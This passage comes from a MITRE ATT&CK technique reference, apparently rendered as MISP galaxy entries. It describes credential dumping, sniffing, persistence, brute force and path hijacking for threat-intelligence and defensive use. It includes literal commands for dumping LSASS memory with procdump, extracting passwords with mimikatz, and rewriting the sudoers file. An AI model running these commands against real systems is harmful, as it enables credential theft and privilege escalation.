Notes: The passwords extracted by his mechanism are UTF-16 encoded, which means that they are returned in plaintext. Windows 10 adds protections for LSA Secrets described in Mitigation.

**NTDS from Domain Controller**

Active Directory stores information about members of the domain including devices and users to verify credentials and define access rights. The Active Directory domain database is stored in the NTDS.dit file. By default the NTDS file will be located in %SystemRoot%\NTDS\Ntds.dit of a domain controller. (Citation: Wikipedia Active Directory)

The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.

- Volume Shadow Copy
- secretsdump.py
- Using the in-built Windows tool, ntdsutil.exe
- Invoke-NinjaCopy
Group Policy Preference (GPP) Files

Group Policy Preferences (GPP) are tools that allowed administrators to create domain policies with embedded credentials. These policies, amongst other things, allow administrators to set local accounts.

These group policies are stored in SYSVOL on a domain controller, this means that any domain user can view the SYSVOL share and decrypt the password (the AES private key was leaked on-line. (Citation: Microsoft GPP Key) (Citation: SRD GPP)

The following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:

- Metasploit's post exploitation module: "post/windows/gather/credentials/gpp"
- Get-GPPPassword (Citation: Obscuresecurity Get-GPPPassword)
- gpprefdecrypt.py

Notes: On the SYSVOL share, the following can be used to enumerate potential XML files. dir /s *.xml

Service Principal Names (SPNs)

See [Kerberoasting](https://attack.mitre.org/techniques/T1208).

Plaintext Credentials

After a user logs on to a system, a variety of credentials are generated and stored in the Local Security Authority Subsystem Service (LSASS) process in memory. These credentials can be harvested by an administrative user or SYSTEM.

SSPI (Security Support Provider Interface) functions as a common interface to several Security Support Providers (SSPs): A Security Support Provider is a dynamic-link library (DLL) that makes one or more security packages available to applications.

The following SSPs can be used to access credentials:

Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package. Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges. (Citation: TechNet Blogs Credential Protection) Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later. CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services. (Citation: Microsoft CredSSP)  The following tools can be used to enumerate credentials:

- [Windows Credential Editor](https://attack.mitre.org/software/S0005)
- [Mimikatz](https://attack.mitre.org/software/S0002)

As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.
For example, on the target host use procdump:

- `<code>procdump -ma lsass.exe lsass_dump</code>`

Locally, mimikatz can be run:

- `<code>sekurlsa::Minidump lsassdump.dmp</code>`
- `<code>sekurlsa::logonPasswords</code>`

**DCSync**

DCSync is a variation on credential dumping which can be used to acquire sensitive information from a domain controller. Rather than executing recognizable malicious code, the action works by abusing the domain controller's application programming interface (API) (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller. Any members of the Administrators, Domain Admins, Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data (Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1097) (Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098). (Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been included in the "lsadump" module in Mimikatz. (Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol. (Citation: Microsoft NRPC Dec 2017)

**Linux**

**Proc filesystem**

The `/proc` filesystem on Linux contains a great deal of information regarding the state of the running operating system. Processes running with root privileges can use this facility to scrape live memory of other running programs. If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively. This functionality has been implemented in the [MimiPenguin](https://attack.mitre.org/software/S0179), an open source tool inspired by [Mimikatz](https://attack.mitre.org/software/S0002). The tool dumps process memory, then harvests passwords and hashes by looking for text strings and regex patterns for how given applications such as Gnome Keyring, sshd, and Apache use memory to store such authentication artifacts.

Network Sniffing - T1040

Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.

Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and Relay](https://attack.mitre.org/techniques/T1171), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.

Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (ex: IP addressing, hostnames, VLAN IDs) necessary for follow-on Lateral Movement and/or Defense Evasion activities.

The tag is: `misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040"`
New Service - T1050

When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry.

Adversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035).

</tbody>
</table>
Binary Padding - T1009

Adversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary. This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.

Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blacklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)

</table>

Connection Proxy - T1090

Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPorMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.

External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the internet and then the proxy would forward communications to the C2 server.

Internal connection proxies can be used to consolidate internal connections from compromised
systems. Adversaries may use a compromised internal system as a proxy in order to conceal the true destination of C2 traffic. The proxy can redirect traffic from compromised systems inside the network to an external C2 server making discovery of malicious traffic difficult. Additionally, the network can be used to relay information from one system to another in order to avoid broadcasting traffic to all systems.

**Brute Force - T1110**

Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained.

[Credential Dumping](https://attack.mitre.org/techniques/T1003) is used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1075) is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking)

Adversaries may attempt to brute force logins without knowledge of passwords or hashes during an operation either with zero knowledge or by attempting a list of known or possible passwords. This is a riskier option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)

A related technique called password spraying uses one password (e.g. 'Password01'), or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)

Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:

- SSH (22/TCP)
- Telnet (23/TCP)
- FTP (21/TCP)
- NetBIOS / SMB / Samba (139/TCP & 445/TCP)
- LDAP (389/TCP)
• Kerberos (88/TCP)
• RDP / Terminal Services (3389/TCP)
• HTTP/HTTP Management Services (80/TCP & 443/TCP)
• MSSQL (1433/TCP)
• Oracle (1521/TCP)
• MySQL (3306/TCP)
• VNC (5900/TCP)

In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365. (Citation: US-CERT TA18-068A 2018)

In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.

Query Registry - T1012

Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.

The Registry contains a significant amount of information about the operating system, configuration, software, and security. (Citation: Wikipedia Windows Registry) Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

The tag is: `misp-galaxy:mitre-attack-pattern="Query Registry - T1012"`

Table 2529. Table References
Remote Services - T1021

An adversary may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.

The tag is: misp-galaxy:mitre-attack-pattern="Remote Services - T1021"

Web Service - T1102

Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.

These commands may also include pointers to command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.

Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).

The tag is: misp-galaxy:mitre-attack-pattern="Web Service - T1102"
**AppInit DLLs - T1103**

Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows` or `HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows` are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Endgame Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)

The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)

The tag is: `misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1103"`

**Port Monitors - T1013**

A port monitor can be set through the (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in `<code>C:\Windows\System32</code>` and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to `<code>HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors</code>`.

The Registry key contains entries for the following:

- Local Port
- Standard TCP/IP Port
- USB Monitor
- WSD Port

Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.

The tag is: `misp-galaxy:mitre-attack-pattern="Port Monitors - T1013"`
Accessibility Features - T1015

Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.

Two common accessibility programs are `<code>C:\Windows\System32\sethc.exe</code>`, launched when the shift key is pressed five times and `<code>C:\Windows\System32\utilman.exe</code>`, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)

Depending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in `<code>%systemdir%</code>`, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:

For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., `<code>C:\Windows\System32\utilman.exe</code>`) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

For the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for the accessibility program (e.g., "utilman.exe"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)

- On-Screen Keyboard: `<code>C:\Windows\System32\osk.exe</code>`
Clipboard Modification - T1510

Adversaries may abuse clipboard functionality to intercept and replace information in the Android device clipboard. Malicious applications may monitor the clipboard activity through the `<code>ClipboardManager.OnPrimaryClipChangedListener</code>` interface on Android to determine when the clipboard contents have changed. Listening to clipboard activity, reading the clipboard contents, and modifying the clipboard contents requires no explicit application permissions and can be performed by applications running in the background, however, this behavior has changed with the release of Android 10.

Adversaries may use [Clipboard Modification](https://attack.mitre.org/techniques/T1510) to replace text prior to being pasted, for example, replacing a copied Bitcoin wallet address with a wallet address that is under adversarial control.

[Clipboard Modification](https://attack.mitre.org/techniques/T1510) had been seen within the Android/Clipper.C trojan. This sample had been detected by ESET in an application distributed through the Google Play Store targeting cryptocurrency wallet numbers.

The tag is: misc-galaxy:mitre-attack-pattern="Clipboard Modification - T1510"
Plist Modification - T1150

Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as <code>/Library/Preferences</code> (which execute with elevated privileges) and <code>~/Library/Preferences</code> (which execute with a user’s privileges). Adversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)

Systemd Service - T1501

Systemd services can be used to establish persistence on a Linux system. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.

Systemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories and have the file extension <code>.service</code>. Each service unit file may contain numerous directives that can execute system commands.

- ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a
services is started manually by 'systemctl' or on system start if the service is set to automatically start.

- ExecReload directive covers when a service restarts.
- ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.

Adversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at recurring intervals, such as at system boot.(Citation: Anomali Rocke March 2019)(Citation: gist Arch package compromise 10JUL2018)(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018)

While adversaries typically require root privileges to create/modify service unit files in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories, low privilege users can create/modify service unit files in directories such as <code>~/.config/systemd/user/</code> to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)

**Shared Webroot - T1051**

Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website’s webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.

This mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on...
the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)

The tag is: `misp-galaxy:mitre-attack-pattern="Shared Webroot - T1051"`

**Launch Daemon - T1160**

Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in `<code>/System/Library/LaunchDaemons</code>` and `<code>/Library/LaunchDaemons</code>` (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).

Adversaries may install a new launch daemon that can be configured to execute at startup by using launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.

The plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon's executable and gain persistence or Privilege Escalation.

The tag is: `misp-galaxy:mitre-attack-pattern="Launch Daemon - T1160"`
File Deletion - T1107

Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.

There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)

Redundant Access - T1108

Adversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated.

If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use [External Remote Services](https://attack.mitre.org/techniques/T1133) such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.(Citation: Mandiant APT1) Adversaries may also retain access through cloud-based infrastructure and applications.

Use of a [Web Shell](https://attack.mitre.org/techniques/T1100) is one such way to maintain access to a network through an externally accessible Web server.

Component Firmware - T1109

Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.

System Firmware - T1019

The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)

System firmware like BIOS and (UEFI) underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.

</table>
Data Encrypted - T1022

Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.

Other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over Command and Control Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)

Data Hiding - T1320

Certain types of traffic (e.g., DNS tunneling, header inject) allow for user-defined fields. These fields can then be used to hide data. In addition to hiding data in network protocols, steganography techniques can be used to hide data in images or other file formats. Detection can be difficult unless a particular signature is already known. (Citation: BotnetsDNSC2) (Citation: HAMMERTOSS2015) (Citation: DNS-Tunnel)

Shortcut Modification - T1023

Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a
legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.

The tag is: *misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023"

Table 2546. Table References

**User Execution - T1204**

An adversary may rely upon specific actions by a user in order to gain execution. This may be direct code execution, such as when a user opens a malicious executable delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) with the icon and apparent extension of a document file. It also may lead to other execution techniques, such as when a user clicks on a link delivered via [Spearphishing Link](https://attack.mitre.org/techniques/T1192) that leads to exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.

As an example, an adversary may weaponize Windows Shortcut Files (.lnk) to bait a user into clicking to execute the malicious payload. (Citation: Proofpoint TA505 June 2018) A malicious .lnk file may contain [PowerShell](https://attack.mitre.org/techniques/T1086) commands. Payloads may be included into the .lnk file itself, or be downloaded from a remote server. (Citation: FireEye APT29 Nov 2018) (Citation: PWC Cloud Hopper Technical Annex April 2017)

While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user’s desktop hoping that a user will click on it.

**Task requirements - T1240**

Once divided into the most granular parts, analysts work with collection managers to task the collection management system with requirements and sub-requirements. (Citation: Heffter) (Citation: JP2-01)
Port Knocking - T1205

Port Knocking is a well-established method used by both defenders and adversaries to hide open ports from access. To enable a port, an adversary sends a series of packets with certain characteristics before the port will be opened. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports, but can involve unusual flags, specific strings or other unique characteristics. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.

This technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.

The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

Multiband Communication - T1026

Some adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.

The tag is: misp-galaxy:mitre-attack-pattern="Multiband Communication - T1026"
Sudo Caching - T1206

The `<code>sudo</code>` command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments." (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a `<code>timestamp_timeout</code>` that is the amount of time in minutes between instances of `<code>sudo</code>` before it will re-prompt for a password. This is because `<code>sudo</code>` has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at `<code>/var/db/sudo</code>` with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a `<code>tty_tickets</code>` variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).

Adversaries can abuse poor configurations of this to escalate privileges without needing the user’s password. `<code>/var/db/sudo</code>`’s timestamp can be monitored to see if it falls within the `<code>timestamp_timeout</code>` range. If it does, then malware can execute sudo commands without needing to supply the user’s password. When `<code>tty_tickets</code>` is disabled, adversaries can do this from any tty for that user.

The OSX Proton Malware has disabled `<code>tty_tickets</code>` to potentially make scripting easier by issuing `<code>echo \"Defaults !tty_tickets\" \> /etc/sudoers</code>` (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue `<code>killall Terminal</code>`. As of macOS Sierra, the sudoers file has `<code>tty_tickets</code>` enabled by default.

Time Providers - T1209

The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)

Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of `<code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders</code>`. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)
Adversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)

### Scheduled Transfer - T1029

Data exfiltration may be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.

When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.

Path Interception - T1034

Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)

There are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.

Unquoted Paths

Service paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., `<code>C:\unsafe path with space\program.exe</code>` vs. `<code>"C:\safe path with space\program.exe"</code>`). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is `<code>C:\program files\myapp.exe</code>`, an adversary may create a program at `<code>C:\program.exe</code>` that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018)

PATH Environment Variable Misconfiguration

The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, `<code>%SystemRoot%\system32</code>` (e.g., `<code>C:\Windows\system32</code>`), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.

For example, if `<code>C:\example path</code>` precedes `<code>C:\Windows\system32</code>` in the PATH environment variable, a program that is named net.exe and placed in `<code>C:\example path</code>` will be called instead of the Windows system "net" when "net" is executed from the command-line.

Search Order Hijacking

Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used
to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.

For example, "example.exe" runs "cmd.exe" with the command-line argument <code>net user</code>. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then <code>cmd.exe /C net user</code> will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)

Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).

Scheduled Task - T1053

Utilities such as [at](https://attack.mitre.org/software/S0110) and [schtasks](https://attack.mitre.org/software/S0111), along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the remote system. (Citation: TechNet Task Scheduler Security)

An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.

Logon Scripts - T1037

Windows

Windows allows logon scripts to be run whenever a specific user or group of users log into a system. (Citation: TechNet Logon Scripts) The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.

If adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.

Mac

Mac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.

**Indicator Blocking - T1054**

